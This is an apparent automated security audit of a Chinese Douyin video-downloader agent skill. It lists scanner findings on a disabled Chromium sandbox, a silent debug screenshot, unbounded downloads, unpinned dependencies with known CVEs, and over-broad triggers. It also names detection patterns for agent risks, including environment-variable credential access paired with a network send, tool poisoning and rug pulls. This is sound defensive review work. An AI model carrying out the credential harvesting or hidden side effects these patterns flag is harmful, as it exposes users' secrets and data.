Security audit

🎵 抖音下载器

Security checks for vulnerabilities and agentic risk

Overview

This appears to be a real Douyin video downloader, but it needs review because it disables browser isolation, silently writes a debug screenshot, and downloads remote media without clear safety limits.

Review this skill before installing. It should only be run in a constrained environment with a dedicated save directory and limited permissions. Prefer removing the debug screenshot behavior, running Chromium with its sandbox enabled, adding download size/time limits, and pinning dependencies with a lockfile before trusting it for routine use.

A.I.G

Vulnerability Patterns

Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (4)

T09 · Insecure Skill Coding Practices

Error

Location: src/browser-extract.js:18
Finding: Chromium Security Sandbox Explicitly Disabled
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Note

Location: src/browser-extract.js:44
Finding: Predictable Debug Screenshot Can Overwrite Local Files or Retain Page Content
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: src/downloader.js:38
Finding: Unbounded Remote Media Download Can Exhaust Local Storage
Content: View full analysis
{ const writer = fs.createWriteStream(destPath); response.data.on('data', (chunk) => { downloadedSize += chunk.length; if (onProgress && totalSize > 0) { const progress = ((downloadedSize / totalSize) * 100).toFixed(1); onProgress(progress); } }); writer.on('finish', () => { resolve({ path: destPath, size: downloadedSize, success: true }); }); writer.on('error', (error) => { reject(error); }); response.data.pipe(writer); }); } ``` ### Technical Analysis The downloader streams the remote response directly to its final destination without enforcing a maximum byte count. The `Content-Length` header is used only to calculate progress; it is not validated against an acceptable limit. A response that omits this header, lies about its value, or uses an unbounded transfer can continue consuming disk space. The request also has no explicit timeout or content-type validation. Consequently, the endpoint can hold the connection open, deliver content that is not a video, or send a very large response. Because media URLs are obtained from remote page/API data, the final download endpoint is not fully controlled by the project. The function writes directly t ...[truncated 1321 chars]
Remediation: View remediation

T08 · Insecure Dependencies

Note

Location: package.json:27
Finding: Dependency and Browser Installation Is Not Reproducibly Pinned
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration

Findings (24)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 95% confidence
Finding: The skill's declared behavior materially differs from the detected implementation: promised link parsing, batch download, and metadata saving are not actually implemented, while an undeclared local file write (debug-screenshot.png) is present. This mismatch is dangerous because users and reviewers may grant trust or permissions based on the description, while the actual code performs hidden side effects and may mishandle inputs in unexpected ways.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 89% confidence
Finding: The README content, commands, usage examples, and user-facing instructions are presented only in Chinese. Under the stated policy, forcing a specific language without user opt-in or a documented justification can be a natural-language policy violation.
Content: No source excerpt is available for this finding.

Rp1

Medium

Category: MCP Rug Pull
Confidence: 70% confidence
Finding: npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 84% confidence
Finding: The skill advertises download and metadata functionality but does not declare any explicit tool scope or permissions, while static analysis indicates code capabilities involving environment access. In an agent setting, undeclared capabilities reduce transparency and can enable access to sensitive runtime context or broader-than-expected behavior, making review and containment harder.
Content: No source excerpt is available for this finding.

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 94% confidence
Finding: The trigger phrases include broad terms such as '无水印' and 'tiktok video', which can match ordinary conversation and cause the skill to activate unexpectedly. Over-broad activation can lead to unintended processing of user content, accidental network/file operations, or invocation in contexts where the user did not intend to download media.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 90% confidence
Finding: The description mentions downloading and optional metadata saving but does not clearly warn users that local files may be written and metadata persisted on disk. In a skill that handles media and author information, missing disclosure increases privacy and consent risk because users may not realize content and associated metadata are being stored locally.
Content: No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium

Category: Not specified by scanner
Confidence: 90% confidence
Finding: The skill launches a full Chromium instance with '--no-sandbox' and '--disable-setuid-sandbox', reducing browser isolation while loading untrusted third-party content. Because the skill visits external pages and executes their client-side code, disabling the sandbox increases the blast radius of any browser compromise or hostile page behavior beyond what is justified for a downloader.
Content: No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The code saves a local screenshot of the rendered browser page to disk for debugging, which exceeds the stated downloader/parsing purpose and can capture more than just video metadata, including account state, recommendations, cookies-adjacent UI context, or other visible personal content. In this skill context, the extra data collection is not necessary for normal operation and creates avoidable local data exposure without user notice.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 95% confidence
Finding: Writing a debug screenshot file without clear disclosure or consent creates an unexpected local artifact containing potentially sensitive rendered content. Even if intended only for troubleshooting, silent persistence of such files can leak browsing context or user-related data to other local processes, backups, or operators.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 89% confidence
Finding: This code performs a file-writing operation by downloading and saving video content to saveDir. Although the success message reports the saved path after completion, there is no prior confirmation prompt or explicit warning in this file that the skill will create local files in a chosen/default directory.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 87% confidence
Finding: The batch download path saves multiple videos to disk, which is a safety-relevant operation affecting local storage. This file does not provide a pre-action warning or confirmation that multiple files will be written to saveDir.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 90% confidence
Finding: This code fetches a user-supplied Douyin URL, follows redirects, downloads the target page, and later queries a Douyin API endpoint. Although the file has technical comments, it lacks any user-facing disclosure or warning that submitted links will be sent to external Douyin/iesdouyin servers.
Content: No source excerpt is available for this finding.

Missing User Warnings

Low

Category: Not specified by scanner
Confidence: 78% confidence
Finding: This markdown file documents downloading videos and optionally saving metadata, which affects user data and writes files locally. While it mentions configuration and output paths, it does not explicitly warn users that the skill will save media and metadata to disk or note any privacy implications of metadata collection.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 89% confidence
Finding: The package description is written only in Chinese ("抖音无水印视频下载器 - 支持链接解析、浏览器提取和批量下载"), and the display name is also Chinese-only in the manifest metadata. This can amount to a language/locale policy issue because the skill metadata presents a fixed language choice without offering an alternative or indicating that the skill is region-specific.
Content: No source excerpt is available for this finding.

Unpinned Dependencies

Low

Category: Supply Chain
Confidence: 87% confidence
Finding: Using a caret range for axios means future installs may resolve to different releases, reducing build reproducibility and potentially pulling in a vulnerable or compromised version within the allowed semver range. Because this skill is a downloader and likely performs network requests against untrusted URLs, dependency integrity matters more than for a purely local utility.
Content: Scanner excerpt · package.json (reported line 27)May include surrounding context.
json
"url": "https://github.com/openclaw/skills" }, "dependencies": { "axios": "^1.6.0", "cheerio": "^1.0.0-rc.12", "playwright": "^1.58.2" },

Unverifiable Dependency: axios has 16 known advisory(ies) (CVE-2026-44494 (axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `co); CVE-2026-44495 (axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollut); CVE-2025-62718 (Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low

Category: Supply Chain
Confidence: 40% confidence
Finding: Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.
Content: No source excerpt is available for this finding.

Unpinned Dependencies

Low

Category: Supply Chain
Confidence: 90% confidence
Finding: The unpinned playwright dependency allows installs to float across patch/minor releases, which can introduce supply-chain risk or silently change browser automation behavior. Since Playwright is powerful and typically launches browsers, any compromised or vulnerable dependency could materially affect host security.
Content: Scanner excerpt · package.json (reported line 29)May include surrounding context.
json
"dependencies": { "axios": "^1.6.0", "cheerio": "^1.0.0-rc.12", "playwright": "^1.58.2" }, "optionalDependencies": { "fluent-ffmpeg": "^2.1.2"

Unverifiable Dependency: playwright has 1 known advisory(ies) (CVE-2025-59288 (Playwright downloads and installs browsers without verifying the authenticity of)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low

Category: Supply Chain
Confidence: 40% confidence
Finding: Dependency has known vulnerabilities (CVEs). Using packages with unpatched security flaws exposes the environment to known exploits.
Content: No source excerpt is available for this finding.

Unpinned Dependencies

Low

Category: Supply Chain
Confidence: 82% confidence
Finding: An optional dependency with a caret range is still a supply-chain risk when installed, even if not always present. fluent-ffmpeg interfaces with media-processing workflows, so unexpected version drift can introduce vulnerable code paths or unstable behavior.
Content: Scanner excerpt · package.json (reported line 32)May include surrounding context.
json
"playwright": "^1.58.2" }, "optionalDependencies": { "fluent-ffmpeg": "^2.1.2" }, "clawhub": { "displayName": "🎵 抖音下载器",

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 85% confidence
Finding: The manifest display name uses Chinese only ("🎵 抖音下载器") and does not indicate optional localization or a documented regional scope. Under the policy, hard-coded language selection without user choice or justification may be considered a natural-language policy violation.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 90% confidence
Finding: The file’s comments and user-facing log messages are written exclusively in Chinese, which imposes a specific language choice without offering the user any locale or language option. Under the policy, forcing a language without opt-in is a natural-language policy concern.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The file’s user-facing description and comments are written entirely in Chinese, with no indication that other languages are supported or that language choice is optional. This can violate a language/locale policy when skills are expected to be language-neutral or user-selectable.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 93% confidence
Finding: This file presents the skill name/comments and user-visible response text primarily in Chinese, and the trigger list is mostly Chinese-centric. Under the language/locale policy, forcing a specific language without user opt-in can be a natural-language policy violation unless the locale restriction is explicit and justified.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 95% confidence
Finding: The Accept-Language header is hard-coded to prefer zh-CN, which imposes a specific language/locale behavior. Under the policy, locale constraints should either be user-selectable or clearly documented as necessary for a region-specific tool.
Content: No source excerpt is available for this finding.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical

Code: suspicious.env_credential_access
Location: src/downloader.js:188